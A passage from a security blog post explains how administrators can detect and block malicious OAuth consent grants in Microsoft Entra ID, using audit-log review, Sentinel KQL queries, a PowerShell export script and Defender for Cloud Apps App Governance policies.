<li>Go to <a href="https://entra.microsoft.com"  target="_blank" rel="noreferrer">Microsoft Entra admin center</a></li>
<li>Navigate to <strong>Monitoring &gt; Audit Logs</strong></li>
<li>In the filter bar, set <strong>Operation</strong> to <code>Consent to application</code></li>
<li>Review the log entries:
<ul>
<li><strong>Initiated by</strong>: which user granted consent</li>
<li><strong>Target resources</strong>: app name and ID</li>
<li><strong>Modified properties</strong>: permissions granted (usually in JSON format)</li>
</ul>
</li>
</ol>
<p><strong>What to look for:</strong></p>
<ul>
<li>Unknown or suspicious application names</li>
<li>Unusual permissions such as:
<ul>
<li><code>Mail.ReadWrite</code></li>
<li><code>User.ReadWrite.All</code></li>
<li><code>Files.ReadWrite.All</code></li>
<li><code>offline_access</code></li>
</ul>
</li>
</ul>

<h3 class="relative group">2. Identify risky applications via Enterprise Applications
    <div id="2-identify-risky-applications-via-enterprise-applications" class="anchor"></div>
    
</h3>
<p>The Enterprise Applications blade in Entra ID lists all applications registered in your tenant and their access level.</p>
<p><strong>Steps:</strong></p>
<ol>
<li>In the Entra admin center, go to <strong>Applications &gt; Enterprise applications</strong></li>
<li>Set the filter to <strong>Application type: All Applications</strong></li>
<li>Sort by <strong>Users</strong> or <strong>Last sign-in</strong> to find active apps</li>
<li>Select an app to investigate:
<ul>
<li>Review the <strong>Overview</strong> tab for the application ID, publisher, and verified status</li>
<li>Go to <strong>Permissions</strong> to review API permissions granted</li>
<li>Under <strong>Users and groups</strong>, view who has access or has consented</li>
</ul>
</li>
</ol>
<p><strong>What to look for:</strong></p>
<ul>
<li>Apps with no <strong>verified publisher</strong></li>
<li>Apps granted <strong>broad or high-risk permissions</strong></li>
<li>Apps with access granted by many users or without IT knowledge</li>
</ul>

<h3 class="relative group">3. Investigate app permissions and consent details
    <div id="3-investigate-app-permissions-and-consent-details" class="anchor"></div>
    
</h3>
<p><strong>Steps:</strong></p>
<ol>
<li>From within the app view (Enterprise Applications &gt; [App Name]):
<ul>
<li>Click <strong>Permissions</strong></li>
<li>Review whether access was <strong>user-consented</strong> or <strong>admin-consented</strong></li>
</ul>
</li>
<li>For admin-consented apps:
<ul>
<li>These have tenant-wide access and require immediate review if suspicious</li>
</ul>
</li>
<li>Click on each permission to see the associated scopes (Graph API, Exchange, etc.)</li>
</ol>
<p><strong>What to look for:</strong></p>
<ul>
<li>Admin-consented apps that are not officially approved</li>
<li>Delegated permissions with read/write access to sensitive services</li>
</ul>

<h3 class="relative group">4. Cross-reference with Sign-in logs (optional for Behavior Analysis)
    <div id="4-cross-reference-with-sign-in-logs-optional-for-behavior-analysis" class="anchor"></div>
    
</h3>
<p>To verify whether a suspicious app has been actively used:</p>
<p><strong>Steps:</strong></p>
<ol>
<li>Go to <strong>Monitoring &gt; Sign-in logs</strong></li>
<li>Add the <strong>Application</strong> column (if not visible, click Columns &gt; Add)</li>
<li>Filter by application name (as identified in Enterprise Apps)</li>
<li>Analyze:
<ul>
<li>Frequency of sign-ins</li>
<li>Locations and IP addresses</li>
<li>Sign-ins at unusual times or from service principals</li>
</ul>
</li>
</ol>

<h2 class="relative group">Investigating with KQL Queries in Microsoft Sentinel
    <div id="investigating-with-kql-queries-in-microsoft-sentinel" class="anchor"></div>
    
</h2>

<h3 class="relative group">List All OAuth consents granted (AuditLogs)
    <div id="list-all-oauth-consents-granted-auditlogs" class="anchor"></div>
    
</h3>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">KQL</div><pre tabindex="0" class="chroma"><code class="language-kql" data-lang="kql">AuditLogs
<span class="o">|</span> <span class="k">where</span> OperationName <span class="o">==</span> <span class="s">&#34;Consent to application&#34;</span>
<span class="o">|</span> <span class="k">extend</span> InitiatingUser = <span class="nf">tostring</span>(InitiatedBy.user.userPrincipalName)
<span class="o">|</span> <span class="k">extend</span> AppName = <span class="nf">tostring</span>(<span class="nf">parse_json</span>(TargetResources[0].displayName))
<span class="o">|</span> <span class="k">extend</span> AppId = <span class="nf">tostring</span>(TargetResources[0].id)
<span class="o">|</span> <span class="k">extend</span> Permissions = <span class="nf">tostring</span>(<span class="nf">parse_json</span>(TargetResources[0].modifiedProperties)[0].newValue)
<span class="o">|</span> <span class="k">project</span> TimeGenerated, InitiatingUser, AppName, AppId, Permissions
<span class="o">|</span> <span class="k">sort by</span> TimeGenerated <span class="k">desc</span></code></pre></div>
</div>

<h3 class="relative group">Identify apps with high-risk permissions
    <div id="identify-apps-with-high-risk-permissions" class="anchor"></div>
    
</h3>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">KQL</div><pre tabindex="0" class="chroma"><code class="language-kql" data-lang="kql">AuditLogs
<span class="o">|</span> <span class="k">where</span> OperationName <span class="o">==</span> <span class="s">&#34;Consent to application&#34;</span>
<span class="o">|</span> <span class="k">extend</span> Permissions = <span class="nf">tostring</span>(<span class="nf">parse_json</span>(TargetResources[0].modifiedProperties)[0].newValue)
<span class="o">|</span> <span class="k">extend</span> AppName = <span class="nf">tostring</span>(<span class="nf">parse_json</span>(TargetResources[0].displayName))
<span class="o">|</span> <span class="k">extend</span> User = <span class="nf">tostring</span>(InitiatedBy.user.userPrincipalName)
<span class="o">|</span> <span class="k">where</span> Permissions <span class="k">has_any</span>(<span class="s">&#34;Mail.ReadWrite&#34;</span>, <span class="s">&#34;Mail.Send&#34;</span>, <span class="s">&#34;Files.ReadWrite&#34;</span>, <span class="s">&#34;offline_access&#34;</span>, <span class="s">&#34;User.ReadWrite.All&#34;</span>, <span class="s">&#34;Directory.ReadWrite.All&#34;</span>)
<span class="o">|</span> <span class="k">project</span> TimeGenerated, User, AppName, Permissions</code></pre></div>
</div>

<h3 class="relative group">Apps consented by multiple users
    <div id="apps-consented-by-multiple-users" class="anchor"></div>
    
</h3>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">KQL</div><pre tabindex="0" class="chroma"><code class="language-kql" data-lang="kql">AuditLogs
<span class="o">|</span> <span class="k">where</span> OperationName <span class="o">==</span> <span class="s">&#34;Consent to application&#34;</span>
<span class="o">|</span> <span class="k">extend</span> AppName = <span class="nf">tostring</span>(<span class="nf">parse_json</span>(TargetResources[0].displayName))
<span class="o">|</span> <span class="k">extend</span> User = <span class="nf">tostring</span>(InitiatedBy.user.userPrincipalName)
<span class="o">|</span> <span class="k">summarize</span> UsersGrantingConsent = <span class="nf">make_set</span>(User), ConsentCount = <span class="k">count</span>() <span class="k">by</span> AppName
<span class="o">|</span> <span class="k">where</span> ConsentCount <span class="o">&gt;</span> 3  <span class="c1">// You can lower the threshold for more sensitive environments</span></code></pre></div>
</div>

<h3 class="relative group">Apps making suspicious API calls (via CloudAppEvents)
    <div id="apps-making-suspicious-api-calls-via-cloudappevents" class="anchor"></div>
    
</h3>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">KQL</div><pre tabindex="0" class="chroma"><code class="language-kql" data-lang="kql">CloudAppEvents
<span class="o">|</span> <span class="k">where</span> ActivityType <span class="k">has</span> <span class="s">&#34;OAuth&#34;</span> <span class="k">or</span> Application <span class="k">has_any</span>(<span class="s">&#34;Graph&#34;</span>, <span class="s">&#34;Exchange Online&#34;</span>)
<span class="o">|</span> <span class="k">extend</span> App = <span class="nf">tostring</span>(RawEventData.appDisplayName)
<span class="o">|</span> <span class="k">extend</span> Action = <span class="nf">tostring</span>(RawEventData.activityType)
<span class="o">|</span> <span class="k">extend</span> UPN = <span class="nf">tostring</span>(RawEventData.user.userPrincipalName)
<span class="o">|</span> <span class="k">extend</span> Permissions = <span class="nf">tostring</span>(RawEventData.appPermissions)
<span class="o">|</span> <span class="k">where</span> Permissions <span class="k">has_any</span>(<span class="s">&#34;Mail.ReadWrite&#34;</span>, <span class="s">&#34;Mail.Send&#34;</span>, <span class="s">&#34;User.ReadWrite.All&#34;</span>, <span class="s">&#34;Files.ReadWrite.All&#34;</span>)
<span class="o">|</span> <span class="k">project</span> Timestamp, UPN, App, Permissions, Action</code></pre></div>
</div>

<h2 class="relative group">Investigating consent grants with PowerShell
    <div id="investigating-consent-grants-with-powershell" class="anchor"></div>
    
</h2>

<h3 class="relative group">Using Get-AzureADPSPermissions script
    <div id="using-get-azureadpspermissions-script" class="anchor"></div>
    
</h3>
<ol>
<li><strong>Download the script from GitHub:</strong> <a href="https://gist.github.com/psignoret/41793f8c6211d2df5051d77ca3728c09"  target="_blank" rel="noreferrer">Get-AzureADPSPermissions.ps1</a></li>
<li><strong>Open PowerShell as Administrator</strong> and navigate to the script folder</li>
<li><strong>Connect to Microsoft Entra ID:</strong></li>
</ol>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">PowerShell</div><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="nb">Connect-AzureAD</span> <span class="n">-tenantid</span> <span class="s2">&#34;your-tenant-id&#34;</span> <span class="n">-AccountId</span> <span class="s2">&#34;admin@yourdomain.com&#34;</span></span></span></code></pre></div></div>
<ol start="4">
<li><strong>Run the script to export OAuth permissions:</strong></li>
</ol>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">PowerShell</div><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="p">.\</span><span class="nb">Get-AzureADPSPermissions</span><span class="p">.</span><span class="py">ps1</span> <span class="p">|</span> <span class="nb">Export-Csv</span> <span class="n">C:</span><span class="p">\</span><span class="n">temp</span><span class="p">\</span><span class="n">OAuthPermissions</span><span class="p">.</span><span class="py">csv</span> <span class="n">-NoTypeInformation</span></span></span></code></pre></div></div>
<ol start="5">
<li><strong>After execution, disconnect from Microsoft Entra:</strong></li>
</ol>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">PowerShell</div><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="nb">Disconnect-AzureAD</span></span></span></code></pre></div></div>
<ol start="6">
<li><strong>Analyze the exported CSV file</strong>, filtering for:
<ul>
<li><strong>ConsentType:</strong> Identify <code>AllPrincipals</code> entries affecting all users</li>
<li><strong>Permissions:</strong> Look for <code>ReadWrite</code> or <code>All</code> permissions that might be excessive</li>
<li><strong>AppDisplayName:</strong> Spot applications with suspicious or unfamiliar names</li>
<li><strong>ReplyURL/RedirectURL:</strong> Verify that URLs belong to trusted domains</li>
</ul>
</li>
</ol>

<h2 class="relative group">U sing the new Microsoft Defender for Cloud Apps – App Governance (automated)
    <div id="using-the-new-microsoft-defender-for-cloud-apps-app-governance-automated" class="anchor"></div>
    
</h2>
<p>Recently, Microsoft introduced <strong>App Governance</strong>, a powerful capability that brings much-needed visibility and control over OAuth applications across your environment.</p>
<p><strong>This new feature is the reason I started writing this blog</strong></p>
<p>App Governance helps bridge a critical gap in securing app-based access, and it’s an important step forward in protecting your Microsoft 365 data from misuse through third-party or malicious applications.</p>
<ul>
<li><strong>Detect malicious OAuth applications</strong></li>
<li><strong>Block suspicious OAuth consent grants automatically</strong></li>
<li><strong>Monitor API permissions and OAuth tokens in real-time</strong></li>
<li><strong>Automatically revoke over-permissioned applications</strong></li>
</ul>

<h3 class="relative group">Step 1: Enable App Governance
    <div id="step-1-enable-app-governance" class="anchor"></div>
    
</h3>
<ol>
<li><strong>Sign in</strong> to the <a href="https://security.microsoft.com"  target="_blank" rel="noreferrer">Microsoft Defender Security Portal</a></li>
<li>Navigate to <strong>Cloud Apps</strong> → <strong>App Governance</strong></li>
<li>Click <strong>Enable App Governance</strong> and accept the required permissions</li>
<li>Ensure <strong>Global Administrator</strong> or <strong>Security Administrator</strong> permissions are assigned to configure policies</li>
</ol>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="OAuth attacks: How to detect and mitigate with Microsoft App Governance (MDA)"
    width="1954"
    height="1090"
    src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/image_hu_2cd3a56f01168df2.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/image.webp"></figure>
<h3 class="relative group">Step 2: Audit OAuth apps
    <div id="step-2-audit-oauth-apps" class="anchor"></div>
    
</h3>
<ol>
<li>Navigate to <strong>Cloud Apps</strong> → <strong>App Governance Dashboard</strong></li>
<li>Click <strong>Connected Applications</strong> to view all OAuth apps in use</li>
<li>Use the <strong>Risk Score</strong> to identify <strong>high-risk OAuth applications</strong></li>
<li>Review permissions granted to each app and <strong>identify over-permissioned applications</strong></li>
<li>Select an app and <strong>revoke unnecessary permissions</strong> or remove untrusted apps</li>
</ol>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="OAuth attacks: How to detect and mitigate with Microsoft App Governance (MDA)"
    width="1951"
    height="1079"
    src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/image-1_hu_e779facc55b2f10c.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/image-1.webp"></figure><figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="OAuth attacks: How to detect and mitigate with Microsoft App Governance (MDA)"
    width="1951"
    height="1080"
    src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/image-2_hu_54bbaaf0fef08181.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/image-2.webp"></figure>
<h3 class="relative group">Step 3: Automate security policies
    <div id="step-3-automate-security-policies" class="anchor"></div>
    
</h3>
<ol>
<li>Go to <strong>Policies</strong> → <strong>Create Policy</strong></li>
<li>Select <strong>OAuth App Policy</strong> and define conditions, such as:
<ul>
<li>Apps requesting <strong>high-risk permissions</strong> (e.g., <code>Mail.Send</code>, <code>Files.ReadWrite</code>)</li>
<li>Newly authorized apps requesting <strong>broad access</strong></li>
<li><strong>Unusual OAuth activity</strong> such as <strong>mass consent grants</strong></li>
</ul>
</li>
<li>Configure the policy action:
<ul>
<li><strong>Alert administrators</strong></li>
<li><strong>Automatically revoke access</strong> to high-risk apps</li>
<li><strong>Block new risky OAuth grants</strong></li>
</ul>
</li>
<li>Click <strong>Save Policy</strong> to enforce automatic security actions</li>
</ol>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Choosing a permissions policy template in app governance"
    width="1951"
    height="1087"
    src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/image-3_hu_be52a8b35f9a5e28.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/image-3.webp"></figure>
<h2 class="relative group">Best Practices to prevent OAuth Attacks
    <div id="best-practices-to-prevent-oauth-attacks" class="anchor"></div>
    
</h2>
<p>Next month, I’ll publish a complete blog post covering every Microsoft Entra and Microsoft 365 setting you need to configure to fully protect your environment against these attacks.<br>
In the meantime, here are the essential configurations and practices you should already have in place to reduce your exposure.</p>

<h3 class="relative group">1. Restrict OAuth app consents
    <div id="1-restrict-oauth-app-consents" class="anchor"></div>
    
</h3>
<ul>
<li>Disable user consent for unverified applications</li>
<li>Enable <strong>Admin Consent Workflow</strong> in <strong>Microsoft Entra ID</strong></li>
<li>Use <strong>Conditional Access</strong> policies to block risky OAuth apps</li>
</ul>

<h3 class="relative group">2. Implement strong authentication and authorization controls
    <div id="2-implement-strong-authentication-and-authorization-controls" class="anchor"></div>
    
</h3>
<ul>
<li>Require <strong>Multi-Factor Authentication (MFA)</strong> for all OAuth-based sign-ins</li>
<li>Enforce <strong>least privilege access</strong> to limit the permissions assigned to apps</li>
</ul>

<h3 class="relative group">3. Monitor and detect unusual OAuth activity
    <div id="3-monitor-and-detect-unusual-oauth-activity" class="anchor"></div>
    
</h3>
<ul>
<li>Continuously monitor <strong>OAuth activities</strong> using Microsoft Sentinel and Defender for Cloud Apps</li>
<li>Set up <strong>alerts for high-risk permissions</strong> to detect suspicious applications</li>
<li>Automate detection and response to OAuth-based threats using <strong>Microsoft Defender XDR</strong></li>
</ul>

<h3 class="relative group">4. Enable Automatic Attack Disruption
    <div id="4-enable-automatic-attack-disruption" class="anchor"></div>
    
</h3>
<ul>
<li>Use <strong>Microsoft Automatic Attack Disruption</strong> to detect and contain OAuth attacks in real-time</li>
<li>Implement <strong>threat intelligence-based detection</strong> to respond to sophisticated OAuth-based attacks</li>
<li>Integrate <strong>SIEM, XDR and SOAR</strong> solutions to automate investigation and remediation workflows</li>
</ul>
<p>By following these best practices, organizations can <strong>harden OAuth security</strong>, quickly detect threats, and minimize the impact of unauthorized OAuth activity</p>

<h2 class="relative group">Additional Resources
    <div id="additional-resources" class="anchor"></div>
    
</h2>
<p><a href="https://www.microsoft.com/en-us/security/blog/2024/01/25/midnight-blizzard-guidance-for-responders-on-nation-state-attack/"  target="_blank" rel="noreferrer">https://www.microsoft.com/en-us/security/blog/2024/01/25/midnight-blizzard-guidance-for-responders-on-nation-state-attack/</a></p>
<p><a href="https://www.microsoft.com/en-us/security/blog/2023/12/12/threat-actors-misuse-oauth-applications-to-automate-financially-driven-attacks/"  target="_blank" rel="noreferrer">https://www.microsoft.com/en-us/security/blog/2023/12/12/threat-actors-misuse-oauth-applications-to-automate-financially-driven-attacks/</a></p>

<h2 class="relative group">Conclusion
    <div id="conclusion" class="anchor"></div>
    
</h2>
<p><strong>The Midnight Blizzard attack</strong> demonstrated how attackers can persist in an environment without needing to compromise passwords again. <strong>OAuth token hijacking</strong> is a stealthy and highly effective attack vector, making it crucial for organizations to:</p>
<p>✅ Monitor OAuth token activity and refresh token usage<br>
✅ Detect unauthorized OAuth grants and token exchanges<br>
✅ Revoke inactive OAuth tokens periodically<br>
✅ Strengthen Conditional Access policies for OAuth apps</p>
<p>By implementing <strong>Microsoft Defender for Cloud Apps’ App Governance</strong>, security teams can proactively manage OAuth applications, prevent misuse, and enhance cloud security. Organizations that fail to secure OAuth expose themselves to long-term compromises, unauthorized access, and compliance violations.</p>
]]></content:encoded><media:content url="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/featured_hu_782453df4ec49c56.jpg" medium="image" type="image/jpeg" width="1200" height="477"/><enclosure url="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/featured_hu_782453df4ec49c56.jpg" type="image/jpeg" length="53599"/></item></channel></rss>